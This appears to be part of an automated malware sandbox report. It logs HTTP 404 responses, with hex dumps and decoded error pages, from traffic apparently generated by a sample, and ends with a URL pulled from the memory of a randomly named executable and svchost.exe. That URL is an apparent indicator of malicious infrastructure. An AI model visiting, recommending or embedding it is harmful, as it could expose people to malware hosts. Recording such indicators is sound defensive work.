Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 10:36:15 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 07 Oct 2024 10:36:18 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Mon, 07 Oct 2024 10:36:24 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f 18 87 a9 7b 1f b8 a1 1f 54 60 f8 2b 81 91 c3 31 4a 60 93 f7 b3 2c d3 8e fc a2 97 01 98 28 ce 8a 87 c1 3f 7b 97 f6 7e da eb 18 36 c5 31 1c 79 3f 96 9b 8e 13 a6 fe c3 e0 a6 3f 31 0b 3f 4c df 75 ff e7 77 f6 4b d7 ae c2 2c fd 02 44 cf 2a b7 b8 d1 87 13 96 79 6c 02 5d 58 71 66 47 ff 07 db 7d ed f1 67 02 8d dc ee f4 cc e4 7d ec 7a 40 4b 66 5d 65 ef 37 7b 19 2e 9e b5 f8 e3 f8 9b ec 03 14 b9 b6 c0 9b a4 5f 01 22 f3 2c 2d dd fb 30 f5 b2 1b 41 5f f5 ca 5c da db de 57 cb cb ca ac ea 12 58 c7 71 6f 16 5f 50 f3 6c fe 21 82 fc cb 1f ad 2e 5c b3 cc d2 cf d7 63 c3 eb f5 3d 24 3f 33 c1 15 67 17 9d da d5 45 ae 2f df 2d 0b e4 ed f7 ba ef 03 c5 cd 86 af d2 22 97 f6 21 bf 3d 96 7a 60 00 c7 fb 40 5d 57 68 2d dc dc 35 81 cd 40 18 79 fe f9 46 ae 67 ff 6a e6 eb ae d8 04 a7 08 ea fd b4 d7 b1 e9 a5 bd 8d 5d 49 79 cb 91 f9 89 50 bf 4e e2 3e ac dc a4 bc 21 f3 1d 49 18 c0 d1 0f ae 14 a6 6f ae 3c c1 3f 01 da b5 3d 6e a8 bf e0 d8 ca aa 2a 4b 1e 06 fd 1e 6f c2 f6 fa ba c2 12 3a ba 1e bc d2 c4 3b fa b7 6a e8 cd 7d ef b8 76 56 98 bd fd 1e 06 20 a4 b8 45 1f 84 de 6f f4 aa 71 10 8f 68 e6 ca 1a 9f ee f3 10 64 8d 5b 5c e1 eb 3d 1b 0f 5e 66 d7 e5 e7 c3 26 88 33 cd ad e7 bc 32 81 51 23 62 32 7a 63 f0 8a 89 cf 51 fc 1a d7 3e 32 d4 2f a8 b1 8e 6f 6c f3 dd d3 c2 f4 12 b3 3f 88 79 71 58 56 f7 97 b4 d2 03 3e 75 07 59 5d 95 21 08 08 fd c7 1b fb bd 21 5f b9 bb 09 c6 df e1 75 d5 ff 26 2d e0 29 0e 6f d8 f2 e2 ac f7 af 3e 32 be df e1 62 69 33 0e 7d 60 64 1b 9c 10 dc e2 6d fc 8d e4 d7 1b bf 79 01 fd 47 3b 5d 12 2e c8 51 9f c5 b0 3e 10 dc 87 89 e9 df 9a f1 bb 50 9f c6 de cb d2 fe 94 03 12 d4 ad 7c 7d ce 6d 5f f2 a3 95 c5 ce 9b 14 bd 1e af a5 fc 51 07 6d 56 38 f7 16 c0 48 04 72 54 ff e7 de 8c e3 f7 04 7e 49 2a 90 d4 01 b8 07 40 57 20 4b d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Mon, 07 Oct 2024 10:36:26 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 22 44 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee a9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f 18 87 a9 7b 1f b8 a1 1f 54 60 f8 2b 81 51 c3 11 4a 60 e3 f7 b3 2c d3 8e fc a2 97 01 98 28 ce 8a 87 c1 3f 7b 97 f6 7e da eb 18 36 c1 31 1c 79 3f 96 9b 8e 13 a6 fe c3 e0 a6 3f 31 0b 3f 4c df 75 ff e7 77 f6 4b d7 ae c2 2c fd 02 44 cf 2a b7 b8 d1 87 13 96 79 6c 02 5d 58 71 66 47 ff 07 db 7d ed f1 67 02 8d dc ee f4 cc e4 7d ec 7a 40 4b 66 5d 65 ef 37 7b 19 2e 9e b5 f8 e3 f8 9b ec 03 14 b9 b6 c0 9b a4 5f 01 22 f3 2c 2d dd fb 30 f5 b2 1b 41 5f f5 ca 5e da db de 57 cb cb ca ac ea 12 58 c7 71 6f 16 5f 50 f3 6c fe 21 82 fc cb 1f ad 2e 5c b3 cc d2 cf d7 63 c3 eb f5 3d 24 3f 33 c1 15 67 17 9d da d5 45 ae 2f df 2d 0b e4 ed f7 ba ef 03 c5 cd 86 af d2 22 97 f6 21 bf 3d 96 7a 60 00 c7 fb 40 5d 57 68 2d dc dc 35 81 cd 40 18 79 fe f9 46 ae 67 ff 6a e6 eb ae d8 18 a7 09 fa fd b4 d7 b1 c9 a5 bd 8d 5d 49 79 cb 91 f9 89 50 bf 4e e2 3e ac dc a4 bc 21 f3 1d 49 18 c0 d1 0f ae 14 a6 6f ae 3c c6 3f 01 da b5 3d 6e a8 bf e0 d8 ca aa 2a 4b 1e 06 fd 1e 6f c2 f6 fa ba c2 12 4a 5e 0f 5e 69 e2 1d fd 5b 35 f4 e6 be 77 5c 3b 2b cc de 7e 0f 03 10 52 dc a2 0f 42 ef 37 7a d5 38 88 47 0c 7b 65 8d 4f f7 79 08 b2 c6 2d ae f0 f5 9e 8d 07 2f b3 eb f2 f3 61 13 c4 99 e6 d6 73 5e 99 c0 68 92 18 93 6f 0c 5e 31 f1 39 8a 5f e3 da 47 86 fa 05 35 d6 f1 8d 6d be 7b 5a 98 5e 62 f6 07 31 2f 0e cb ea fe 92 56 7a c0 a7 ee 20 ab ab 32 04 01 a1 ff 78 63 bf 37 e4 2b 77 37 c1 f8 3b bc ae fa df a4 05 3c c5 e1 0d 5b 5e 9c f5 fe d5 47 c6 f7 3b 5c 2c 6d c6 a1 0f 8c 6c 83 13 82 5b bc 8d bf 91 fc 7a e3 37 2f a0 ff 68 a7 4b c2 05 39 ea b3 18 d6 07 82 fb 30 31 fd 5b 33 7e 17 ea d3 d8 7b 59 da 9f 72 40 82 ba 95 af cf b9 ed 4b 7e b4 b2 d8 79 93 a2 d7 e3 b5 94 3f ea a0 cd 0a e7 de 02 18 89 40 8e ea ff dc 9b 71 fc 9e c0 2f 49 05 92 3a 00 f7 00 e8 0a 64 89 d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Mon, 07 Oct 2024 10:36:29 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 52 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f 18 87 a9 7b 1f b8 a1 1f 54 60 f8 2b 81 91 c3 31 4a 60 d4 fb 59 96 69 47 7e d1 cb 00 4c 14 67 c5 c3 e0 9f bd 4b 7b 3f ed 75 0c 9b e0 18 8e bc 1f cb 4d c7 09 53 ff 61 70 d3 9f 98 85 1f a6 ef ba ff f3 3b fb a5 6b 57 61 96 7e 01 a2 67 95 5b dc e8 c3 09 cb 3c 36 81 2e ac 38 b3 a3 ff 83 ed be f6 f8 33 81 46 6e 77 7a 66 f2 3e 76 3d a0 25 b3 ae b2 f7 9b bd 0c 17 cf 5a fc 71 fc 4d f6 01 8a 5c 5b e0 4d d2 af 00 91 79 96 96 ee 7d 98 7a d9 8d a0 af 7a 65 2f ed 6d ef ab e5 65 65 56 75 09 ac e3 b8 37 8b 2f a8 79 36 ff 10 41 fe e5 8f 56 17 ae 59 66 e9 e7 eb b1 e1 f5 fa 1e 92 9f 99 e0 8a b3 8b 4e ed ea 22 d7 97 ef 96 05 f2 f6 7b dd f7 81 e2 66 c3 57 69 91 4b fb 90 df 1e 4b 3d 30 80 e3 7d a0 ae 2b b4 16 6e ee 9a c0 66 20 8c 3c ff 7c 23 d7 b3 7f 35 f3 75 57 8c c2 69 82 7e 3f ed 75 6c 72 69 6f 63 57 52 de 72 64 7e 22 d4 af 93 b8 0f 2b 37 29 6f c8 7c 47 12 06 70 f4 83 2b 85 e9 9b 2b 53 f8 27 40 bb b6 c7 0d f5 17 1c 5b 59 55 65 c9 c3 a0 df e3 4d d8 5e 5f 57 58 42 47 d7 83 57 9a 78 47 ff 56 0d bd b9 ef 1d d7 ce 0a b3 b7 df c3 00 84 14 b7 e8 83 d0 fb 8d 5e 35 0e e2 11 c3 5e 59 e3 d3 7d 1e 82 ac 71 8b 2b 7c bd 67 e3 c1 cb ec ba fc 7c d8 04 71 a6 b9 f5 9c 57 26 30 7a 44 50 a3 37 06 af 98 f8 1c c5 af 71 ed 23 43 fd 82 1a eb f8 c6 36 df 3d 2d 4c 2f 31 fb 83 98 17 87 65 75 7f 49 2b 3d e0 53 77 90 d5 55 19 82 80 d0 7f bc b1 df 1b f2 95 bb 9b 60 fc 1d 5e 57 fd 6f d2 02 9e e2 f0 86 2d 2f ce 7a ff ea 23 e3 fb 1d 2e 96 36 e3 d0 07 46 b6 c1 09 c1 2d de c6 df 48 7e bd f1 9b 17 d0 7f b4 d3 25 e1 82 1c f5 59 0c eb 03 c1 7d 98 98 fe ad 19 bf 0b f5 69 ec bd 2c ed 4f 39 20 41 dd ca d7 e7 dc f6 25 3f 5a 59 ec bc 49 d1 eb f1 5a ca 1f 75 d0 66 85 73 6f 01 8c 44 20 47 f5 7f ee cd 38 7e 4f e0 97 a4 02 49 1d 80 7b 00 74 05 b2 c4 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkeddate: Mon, 07 Oct 2024 10:36:31 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 32 37 38 44 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:36:37 GMTServer: Apache/2.4.6 (CentOS) PHP/7.2.34Content-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 78 30 74 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /x0tl/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:36:40 GMTServer: Apache/2.4.6 (CentOS) PHP/7.2.34Content-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 78 30 74 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /x0tl/ was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:36:42 GMTServer: Apache/2.4.6 (CentOS) PHP/7.2.34Content-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 78 30 74 6c 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /x0tl/ was not found on this server.</p></body></html>

Source: IEFVDUdSaLLhw.exe, 0000000D.00000002.4584961050.00000000054B6000.00000004.80000000.00040000.00000000.sdmp, svchost.exe, 0000000F.00000002.4578736616.00000000040A6000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://cdn.jsinit.directfwd.com/sk-jspark_init.php
